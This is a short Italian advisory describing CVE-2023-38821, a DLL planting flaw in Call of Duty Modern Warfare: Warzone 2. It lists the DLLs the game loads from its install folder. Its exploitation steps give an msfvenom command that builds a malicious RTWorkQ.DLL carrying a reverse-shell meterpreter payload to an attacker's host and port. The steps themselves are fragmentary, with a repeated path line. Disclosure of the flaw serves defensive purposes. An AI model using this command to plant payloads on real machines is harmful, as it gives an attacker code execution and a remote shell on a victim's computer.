
DLL Planting nel CoD MW Warzone 2 - CVE-2023-38821
DLL Planting in CoD MW Warzone 2 - CVE-2023-38821 Scopritore: Idan Malihi
Un problema in Activision Call of Duty Modern Warfare: Warzone v.2 consente a un attaccante locale di eseguire codice arbitrario tramite un file appositamente predisposto per i componenti UMPDC.dll, MSIMG32.dll, RTWorkQ.DLL, WINSTA.dll, CRYPTSP.dll, dnsapi.dll, MSASN1.dll, webio.dll, fwbase.dll, ncrypt.dll e DPAPI.DLL.
Per sfruttare la vulnerabilità di DLL Planting, un attaccante deve seguire questi passaggi:
D:\STEAM\steamapps\common\Call of Duty HQ.msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o RTWorkQ.DLL
D:\STEAM\steamapps\common\Call of Duty HQ.